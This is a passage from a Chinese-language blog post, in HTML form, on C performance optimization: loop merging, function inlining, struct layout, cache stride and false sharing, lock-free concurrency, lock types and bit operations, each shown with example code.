class="keyword">int</span> j = <span class="number">0</span>; j &lt; <span class="number">1000</span>; j++) &#123;</span><br><span class="line">        sum += input[i][j];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>循环合并</strong></p><p>顾名思义，将多个相关联的循环语句合并为一个循环语句，这样带来的好处是判断条件导致的开销只会剩下一个循环的，不会有其他循环的条件判断指令造成额外开销。但这是一把双刃剑，循环体内部的语句膨胀之后，会造成指令cache命中率下降，这会是另外一种形式的性能损耗。</p><p>示例代码如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; num; i++) &#123;</span><br><span class="line">    sum1 += a[i];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; num; i++) &#123;</span><br><span class="line">    sum2 += b[i];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>优化之后的代码，将两个循环合并为了一个循环。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; num; i++) &#123;</span><br><span class="line">    sum1 += a[i];</span><br><span class="line">    sum2 += b[i];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="函数设计"><a href="#函数设计" class="headerlink" title="函数设计"></a>函数设计</h3><p><strong>少用结构体等大数据类型的直接参数传递</strong></p><p>在C语言中参数传递的方式，主要有值传递和指针传递。其中值传递的方式，是会将参数传递的值拷贝到栈空间上暂存，这会导致两个问题。一是拷贝数据的动作会造成性能开销，二是暂存在栈空间也是对栈的消耗，当传入的结构体超大时容易出现爆栈情况。而对于指针传递，只需要考虑指针的大小，这通常为4字节(32位)/8字节(64位)，不需要占用过多的拷贝时间，也不需要特别大的栈空间开销。</p><p>示例代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> &#123;</span></span><br><span class="line">    <span class="keyword">int</span> id;</span><br><span class="line">    <span class="keyword">char</span> *name;</span><br><span class="line">    ...</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(struct my_struct my_info)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"id: %d, name: %s\n"</span>, my_info.id, my_info.name);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从传入结构体修改为传入指针类型，但更好的方式是在这种只读场景下添加<code>const</code>修饰符，把它当做常量来使用。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">my_struct</span> &#123;</span></span><br><span class="line">    <span class="keyword">int</span> id;</span><br><span class="line">    <span class="keyword">char</span> *name;</span><br><span class="line">    ...</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(struct my_struct *my_info)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">"id: %d, name: %s\n"</span>, my_info-&gt;id, my_info-&gt;name);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>性能敏感路径上的函数内联</strong></p><p>函数内联是一种非常常见的优化手段，在各种开源项目中都会有一些<code>inline</code>修饰符的函数，这个就是选择了内联的函数。内联函数在编译之后会被展开，也就是说在完成编译后这个函数会消失，在调用点变成相应的执行语句。这个的好处，显而易见的是没有了函数压栈和出栈的开销，在性能敏感的路径上少几条指令就会迎来质变。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">inline</span> <span class="keyword">void</span> <span class="title">hot_func</span><span class="params">(<span class="keyword">int</span> value)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    do_some_thing(value);</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用函数内联也会带来一些风险和麻烦。</p><ol><li>调试的麻烦。函数内联后，在获取二进制进行反汇编或者用gdb调试时不一定能精准的识别出这里的代码位置，在标记内联后编译器还会做一些优化处理，这会使得调试信息符号可能出现问题。</li><li>热补丁的麻烦。有些程序为了运行稳定，需要使用热补丁做动态程序漏洞修补，函数内联后会更加难以定位出具体的代码位置，如果是内联函数出了漏洞bug，将难以直接热补丁修复。</li><li>体积上的风险。这里函数内联的本质和宏定义展开是类似的情况，它是不会复用这段代码指令，而是把调用点全部替换为相同的执行语句，这就会带来程序体积上的增长。</li></ol><h3 id="结构体设计"><a href="#结构体设计" class="headerlink" title="结构体设计"></a>结构体设计</h3><p>这点在设计结构体成员的时候就有所体现了，大部分常见的开源软件，他们的结构体设计都是相关联的成员变量离得很近，这也是为了CPU里的数据cache加速。当我们访问结构体时，成员变量靠近就会很大概率存储在同一个cache里，这样访问其中的数据就不会导致cache未命中。相反，如果在设计结构体时，两个变量离的很远，就会造成cache未命中，引起CPU内部的cache刷新，降低了数据访问性能。</p><p>示例代码如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key_value_list</span> &#123;</span></span><br><span class="line">    <span class="keyword">int</span> keys[<span class="number">100</span>];</span><br><span class="line">    <span class="keyword">int</span> values[<span class="number">100</span>];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>优化之后，把其中的公共字段提取出来，成为一个单独的结构体，然后再声明一个新的数组。这样，每次访问结构体的<code>key</code>和<code>value</code>，都在附近的位置。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key_value_pair</span> &#123;</span></span><br><span class="line">    <span class="keyword">int</span> key;</span><br><span class="line">    <span class="keyword">int</span> value;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">key_value_list</span> &#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">key_value_pair</span> <span class="title">pairs</span>[100];</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h3 id="简化冗余行为"><a href="#简化冗余行为" class="headerlink" title="简化冗余行为"></a>简化冗余行为</h3><p><strong>不必要的初始化行为</strong></p><p>如果某个变量声明后做了初始化，第一次使用也是直接对其做赋值，那么这个初始化的行为则没有意义。针对这种情况，在变量声明时就不应该做初始化动作，这样能节省初始化的开销。</p><p>示例代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> sum = <span class="number">0</span>;</span><br><span class="line">    sum = get_sum();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在初始化<code>sum</code>之后，马上又对其做赋值，这里就能直接优化掉<code>sum</code>的初始化。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> sum = get_sum();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>减少内存段擦写</strong></p><p>在程序中大量的<code>memset</code>和<code>memcpy</code>等行为，会严重拖慢整体的速度，所以这种内存段擦写和拷贝动作，需要考虑他们的重要性。针对安全性不高的临时数据，没必要在每次操作前都覆盖一遍。</p><p>针对字符串，可以通过末尾的<code>\0</code>来截断字符串的解析，以此屏蔽字符串末尾后面的无效数据。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">init_func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> *ptr = (<span class="keyword">char</span> *)<span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line">    ptr[<span class="number">0</span>] = <span class="string">'\0'</span>;</span><br><span class="line">    <span class="comment">// memset(ptr, 0, 100);</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>注意：</strong>密钥，密码，校验hash值等安全相关的缓存数据，应该要及时清理。</p><p><strong>减少重复计算</strong></p><p>这点和上文提到的利用局部变量缓存的机制很类似，局部变量缓存也是实现减少重复计算的方式之一。除了局部变量减少重复计算，还有全局变量，静态变量或者常量的方式。这些动作的优化，都是为了减少重复的工作量，提升程序整体的计算性能。</p><p>示例代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> sum = get_sum();</span><br><span class="line">    <span class="keyword">int</span> output = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; (sum * <span class="number">8</span> - <span class="number">5</span>); i++) &#123;</span><br><span class="line">        output += something();</span><br><span class="line">    &#125;</span><br><span class="line">   <span class="keyword">return</span> output;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>优化之后，同样使用局部变量的方式替换重复的计算过程。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> sum = get_sum();</span><br><span class="line">    <span class="keyword">int</span> output = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">int</span> max_loop = sum * <span class="number">8</span> - <span class="number">5</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; max_loop; i++) &#123;</span><br><span class="line">        output += something();</span><br><span class="line">    &#125;</span><br><span class="line">   <span class="keyword">return</span> output;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>条件判断的短路效应</strong></p><p>在C语言的逻辑判断中如果是与（&amp;&amp;）的逻辑判断，在其中第一个条件失败时就不会再进行后面的条件计算，这就是短路效应。利用这种短路效应，也是一种能够节省计算的方法，能减少一部分表达式的求值计算。与此对应，或（||）的逻辑判断中，只有当第一个条件判断失败之后，才会进行第二个条件的计算。</p><p>以下示例代码中展示了一个条件与的判断场景，<code>check_a</code>和<code>check_b</code>的两个逻辑判断。这里，<code>check_a</code>如果失败的可能性比<code>check_b</code>更大，那么它就应该放在前面，这样它一旦失败之后，就不会再判断后面的条件内容<code>check_b</code>了。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (check_a() &amp;&amp; check_b()) &#123;</span><br><span class="line">        something();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="cache优化"><a href="#cache优化" class="headerlink" title="cache优化"></a>cache优化</h2><p>非常推荐陈浩大佬写的<a href="https://coolshell.cn/articles/20793.html" target="_blank" rel="noopener">CPU缓存知识文章</a>，里面从浅入深讲述了CPU的cache知识。里面举例了几个经典的cache案例，涉及体系结构中的CPU设计，包括CPU cache line大小和CPU ways数量。有个网站叫做wikichip，能够查询CPU的基本信息，其中有缓存大小和ways数量，但没cache line的描述，估计大部分主流CPU都是64字节的设计，我自己的macbook-15 2018款i7的信息是<a href="https://en.wikichip.org/wiki/intel/core_i7/i7-8750h" target="_blank" rel="noopener">Core i7-8750H</a>。</p><p>这里提到的cache优化主要分为两个方面：</p><ol><li>数据访问步长过大导致的cache命中率低下</li><li>多线程场景下写入共同数据时，多核CPU间相同cache数据同步导致的cache利用率不高</li></ol><h3 id="访问步长导致的cache问题"><a href="#访问步长导致的cache问题" class="headerlink" title="访问步长导致的cache问题"></a>访问步长导致的cache问题</h3><p>直接上代码，这里用了两层循环，外面一层循环为执行<code>10000000</code>次任务，里面一层循环是以<code>increment</code>的步长，每轮任务<code>count</code>次数来访问<code>memory</code>数组中的数据，并写入新的内容。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">10000000</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j &lt; count; j += increment) &#123;</span><br><span class="line">        memory[j] += j;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先，引用陈浩大佬的通俗计算公式。</p><blockquote><p>Intel 大多数处理器的L1 Cache都是32KB，8-Way 组相联，Cache Line 是64 Bytes。这意味着，</p><ul><li>32KB的可以分成，32KB / 64 = 512 条 Cache Line。</li><li>因为有8 Way，于是会每一Way 有 512 / 8 = 64 条 Cache Line。</li><li>于是每一路就有 64 x 64 = 4096 Byts 的内存。</li></ul></blockquote><p>这里能够知道大部分场景下，设计出的一路缓存Cache是4KB的大小，这也刚好和大多数的页大小一致。因此，如果这里的<code>count</code>大于8，<code>increment</code>为1024，也就是4KB的步长，就会出现所有的Ways被用完的情况，从而引发cache冲突失效。</p><p>同理，还有另外一种二维数组的遍历场景。逐行遍历和逐列遍历的方式在性能上也会出现跨列时步长过大，引起cache大量冲突失效的问题。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> row = <span class="number">1024</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">int</span> col = <span class="number">512</span></span><br><span class="line"><span class="keyword">int</span> matrix[row][col];</span><br><span class="line"></span><br><span class="line"><span class="comment">//逐行遍历</span></span><br><span class="line"><span class="keyword">int</span> sum_row=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">int</span> _r=<span class="number">0</span>; _r&lt;row; _r++) &#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> _c=<span class="number">0</span>; _c&lt;col; _c++)&#123;</span><br><span class="line">        sum_row += matrix[_r][_c];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//逐列遍历</span></span><br><span class="line"><span class="keyword">int</span> sum_col=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">int</span> _c=<span class="number">0</span>; _c&lt;col; _c++) &#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> _r=<span class="number">0</span>; _r&lt;row; _r++)&#123;</span><br><span class="line">        sum_col += matrix[_r][_c];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>针对这种场景出现的性能问题，我们的优化方案会很直接。</p><ol><li><strong>优化步长</strong>。如果步长能够被压缩，则尽可能的小，以此能在同一个4KB缓存中出现。</li><li><strong>优化遍历方式</strong>。尽量实现连续的内存访问，而不是跳跃式的内存访问。</li></ol><h3 id="多线程写入导致的cache问题"><a href="#多线程写入导致的cache问题" class="headerlink" title="多线程写入导致的cache问题"></a>多线程写入导致的cache问题</h3><p>第二个可能出现cache问题的情况，是多个线程去访问了相邻的数据内容，并且其中有写入行为。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">fn</span> <span class="params">(<span class="keyword">int</span>* data)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>*<span class="number">1024</span>*<span class="number">1024</span>; ++i)</span><br><span class="line">        *data += rand();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> p[<span class="number">32</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> *p1 = &amp;p[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">int</span> *p2 = &amp;p[<span class="number">1</span>]; <span class="comment">// int *p2 = &amp;p[30];</span></span><br><span class="line"></span><br><span class="line"><span class="function">thread <span class="title">t1</span><span class="params">(fn, p1)</span></span>;</span><br><span class="line"><span class="function">thread <span class="title">t2</span><span class="params">(fn, p2)</span></span>;</span><br></pre></td></tr></table></figure><p>由于Cache Line 是64 Bytes，这里的<code>p[0]</code>和<code>p[1]</code>都在同一块Cache中，而这里多线程反复修改会造成CPU Cache失效，多线程任务会跑在不同核的CPU上，这就使得CPU之间的Cache需要做同步，这种同步产生在两个CPU的L1和L2 Cache中，效率严重下降。</p><p>如果将<code>p[1]</code>替换为<code>p[30]</code>，30和0之间的差距30 * 4 = 120 Bytes，这就使得两个不在同一块Cache中，分别对其做更新写入时不会影响另外一块Cache的情况。</p><p>大部分的CPU模型是分为L1、L2、L3三层模型，其中L1和L2是单核使用，L3一般是所有核公用。上方的多线程读写就会使得不同核心间的数据产生差异，CPU在处理这种场景时就涉及到数据状态标记的状态转换。再次引用陈浩大佬的介绍内容，用一个最简单的状态协议做个初步介绍，更详细内容建议阅读原文。</p><blockquote><p>这里介绍几个状态协议，先从最简单的开始，MESI协议，这个协议跟那个著名的足球运动员梅西没什么关系，其主要表示缓存数据有四个状态：Modified（已修改）, Exclusive（独占的）,Shared（共享的），Invalid（无效的）。</p></blockquote><img src="/2024/12/31/C-language-performance-optimization-guide/image-20241106232827507.png"><p>强大的MESI动画网站，清楚的展示了不同CPU之间的数据读写如何同步 <a href="https://www.scss.tcd.ie/Jeremy.Jones/VivioJS/caches/MESIHelp.htm" target="_blank" rel="noopener">https://www.scss.tcd.ie/Jeremy.Jones/VivioJS/caches/MESIHelp.htm</a></p><h3 id="一些趣事"><a href="#一些趣事" class="headerlink" title="一些趣事"></a>一些趣事</h3><p>根据我自己的经历，cache优化还和指令对齐相关。这里提两个我在工作上遇到的两个性能问题：</p><p>一个是在某产品的特定硬件上出现了性能普遍劣化1.5-2%，而这个劣化是由于top工具的采样不准确导致的。在不断地测试中发现，这个不准确是因为采样频率刚好和进程切换相撞，让top统计时认为该进程还在运行，但实际上运行时间并没有那么长。最后是强行用了一种trick的方式，强行加无效指令做对齐让top统计结果恢复正常。</p><p>第二个是我手上看护的某个特性，会在程序中做指令级插桩，而插桩的内容中刚好包含align对齐指令。这个对齐通常情况下不会有额外的副作用，但在某些特殊情况下会因为对齐使得某部分代码刚好超出页大小，在执行相关流程时需要多分配页外加是性能敏感路径，这就导致性能下降。</p><h2 id="并发处理优化"><a href="#并发处理优化" class="headerlink" title="并发处理优化"></a>并发处理优化</h2><h3 id="并发的无锁实现"><a href="#并发的无锁实现" class="headerlink" title="并发的无锁实现"></a>并发的无锁实现</h3><p>无锁实现指的是通过限制某个变量只能被特定的对象访问，以此来取代需要加锁保护再来访问的情况。控制访问来源，这样在并发场景下就无需再加锁。这种实现能避免复杂的加锁解锁的代码，简化了代码逻辑又能保持良好的可维护性，为后续的功能开发不会带来太大的历史包袱。</p><p><strong>单生产者 单消费者模型</strong></p><p>这种模型的理念是有多少个生产者就对应有多少个消费者，并且某个生产者A生产的内容，只会被对应的某个消费者a获取，别的消费者b无法访问生产者A的内容。简化成示意图如下：</p><img src="/2024/12/31/C-language-performance-optimization-guide/iShot2024-12-01_15.32.39.png"><p>在这种场景下，每个生产者和消费者都是依靠索引访问，这样每对生产者消费者不会互相干扰，在这样的并发情况下，也是由多个线程去执行多对不同的生产者消费者流程，可以不用加锁去保护其中的数据内容。</p><p><strong>线程变量</strong></p><p>gcc中提供的关键字<code>__thread</code>，可以用于线程级别的变量。被<code>__thread</code>标记的变量在每个线程中都是一份独立的存储，这样能使得线程之间不会互相干扰。在这种情况下，多线程并发时，对于这种线程变量的读写访问是不需要加锁保护。</p><p>但该关键字存在一些限制与约束：</p><ul><li>只能修饰基础数据类型，不能修饰复杂数据结构（比如结构体、类等）</li><li>不能修饰函数局部变量或者类的普通成员变量</li></ul><p>本质上是对一些全局性的变量做标记，比如全局变量和静态变量。让编译器能自动帮助程序员使用空间换时间，得到更大的性能。</p><p><strong>CPU变量</strong></p><p>Linux内核中提供的一个神奇机制PER_CPU变量，为每个CPU都创建变量的独立副本。这样在跑多线程任务或者多进程任务时，每个CPU所访问到的都是唯一的副本。这里的设计和上面的线程变量<code>__thread</code>非常类似，都是用时间换空间的典型。</p><p>具体的代码实现，面对定义为PER_CPU的变量，内核会根据CPU的数量创建对应大小的数组，每个CPU只会访问其中的一个元素，这样CPU之间的任务不会互相干扰。</p><p>当然有的人可能会和我一开始了解时有着同样的疑问，这个明明是针对CPU的变量，为啥也可以做到无锁且不会有并发问题？原因是这里一旦开始访问PER_CPU变量时，内核会关闭该CPU的抢占，这样在该CPU上执行的任务就不会被其他高优先级进程抢占，当进程切换出去后，又被切到另外一个CPU上导致数据出现同步问题。</p><p>使用这种CPU变量需要注意的点是需要用内核提供的专用API接口，包括变量的定义，变量的指针提取，读取变量的值，释放变量等等。</p><p><strong>注意</strong></p><p>现代CPU中的乱序执行会影响以上的优化方案，最经典的例子就是内存操作中出现的乱序执行，造成程序出现预期之外的行为。</p><p>比如，先对某个变量写入一个值，再读取这个变量，一个典型的单生产者单消费者场景。如果出现了乱序情况，就会出现读取操作在写入之前。当然，这里的例子比较极端，单变量访问出现的可能性比较小，一般是复杂的结构体数据或者是大段数组空间写入时，会出现乱序执行造成异常。</p><h3 id="并发的免锁实现"><a href="#并发的免锁实现" class="headerlink" title="并发的免锁实现"></a>并发的免锁实现</h3><p>使用不同架构提供的CAS（Compare-And-Swap）指令实现的免锁互斥访问机制。这里需要知道，大多数编程语言只有最基础的一项操作是原子性的。通常有以下行为是原子性操作：</p><ul><li>赋值动作（int x = 1;）</li><li>加减法（1 + 2）</li><li>自增/自减 ++/–</li><li>读取变量操作</li></ul><p>但将以上组合在一起的行为并不是原子性操作，比如从一个变量中读取数据，对其做计算，并写入到另外一个变量中时（a = b + 1），这个并不是一个原子操作。所以针对这种语句是需要额外的机制来保证它的原子性，这也是免锁要实现的目标。</p><p>大多数编程语言和开源软件已经提前实现好原子操作的库，这种操作库提供了诸如<code>atomic_read</code>，<code>atomic_write</code>等操作去无锁化访问存在并发的共享数据，并且可以保证不出现并发问题。但这种原子操作存在一种约束，既是只能针对基础变量类型达到原子操作化，复杂类型的数据结构，比如结构体，类等等无法应用。除了上述的原子操作库，还有多生产者多消费者框架（FIFO queues、RCU）也是有类似的实现方案。</p><p><strong>注意</strong></p><p>存在ABA问题，也就是乱序执行发生时，CAS指令无法感知识别到原始数据已经被修改，只会根据它当时读取的值来做判断。这种时候只能添加屏障指令来让编译器和CPU不针对这里做优化，以此来防止乱序执行。</p><h3 id="最小化加锁区间"><a href="#最小化加锁区间" class="headerlink" title="最小化加锁区间"></a>最小化加锁区间</h3><p>首先，C语言的生态中有着不同类型的锁，不同锁的应用场景有着一定区别。使用合适自己场景的锁，并在对应的中尽量最小化这个临界区间。</p><p><strong>自旋锁 spin lock</strong></p><p>一直持有CPU资源的锁方案，自旋锁上锁之后，没有持锁的进程请求自旋锁是不会被调度出去，请求锁的进程会一直占有CPU资源做等待，直到有人释放了自旋锁。自旋锁大量应用在内核之中，用于关闭中断等不能被调度出去的场景下访问临界区资源。</p><p><strong>互斥锁 mutex lock</strong></p><p>和自旋锁相反，它是不会一直持有CPU资源的锁方案，互斥锁上锁后没有持锁的进程请求互斥锁会出现进程调度休眠，释放该进程的CPU资源给其他进程使用。相比自旋锁，互斥锁的阻塞状态不会有大量的CPU开销。互斥锁大量应用于一般的加锁场景中，包括各类常规的全局变量访问等等。</p><p><strong>读写锁 read-write lock</strong></p><p>除了上面两种最基础的锁，还有一种读写锁。内核中有大概有两种实现，一种是常规的读写锁<code>rwlock_t</code>，另外有一种特殊的为类似读写场景服务的锁<code>rcu_lock</code>，也被称为RCU锁。在实际使用过程中，大部分场景都会采用RCU锁去做多读少写的并发锁。网上有一张非常直观的图来区分这两种不同的锁：</p><img src="/2024/12/31/C-language-performance-optimization-guide/image-20241231003432134.png"><p><strong>使用技巧总结</strong></p><ol><li>自旋锁应用在快速使用，快速释放的场景，由于该锁会消耗CPU资源的特性不宜长时间占有。自旋锁也可用在各种不能进入休眠或者调度的场景中，互斥锁一旦阻塞会使得进程进入休眠，而自旋锁就不会有这种问题；</li><li>互斥锁是所有锁之中开销最大的锁，不仅仅是锁本身的性能开销较大，还因为互斥锁在产生冲突阻塞之后造成的系统调度等一系列开销。所以在使用过程中，需要十分的仔细确是否有必要一定要使用互斥锁做临界区保护；</li><li>RCU锁是Linux内核实现的一种特殊机制锁，用于解决常规读写锁开销大的弊病。因此，能使用读写锁的场景都能使用RCU锁直接代替，以此实现性能上的优化；</li></ol><h2 id="高效算法优化"><a href="#高效算法优化" class="headerlink" title="高效算法优化"></a>高效算法优化</h2><h3 id="位操作"><a href="#位操作" class="headerlink" title="位操作"></a>位操作</h3><p>使用位操作为基础的计算方式，在现代计算机中能够实现天然的并行化处理，寄存器中的bit位数值是可以一口气进行设置，而不需要进行多次分布计算。</p><p>用位运算设置一段bit区间，常规的做法是做一遍循环去逐bit设置值。但如果用位操作优化就可得到：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//优化前</span></span><br><span class="line">uint result = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = start; i &lt; end; i++) &#123;</span><br><span class="line">    result |= (uint)(<span class="number">1</span> &lt;&lt; i);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//优化后</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BIT_RANGE_SET(max_bit, from, to) (~0 &gt;&gt; (max_bit - (to -from))) &lt;&lt; from</span></span><br><span class="line"></span><br><span class="line">BIT_RANGE_SET(uint, start, 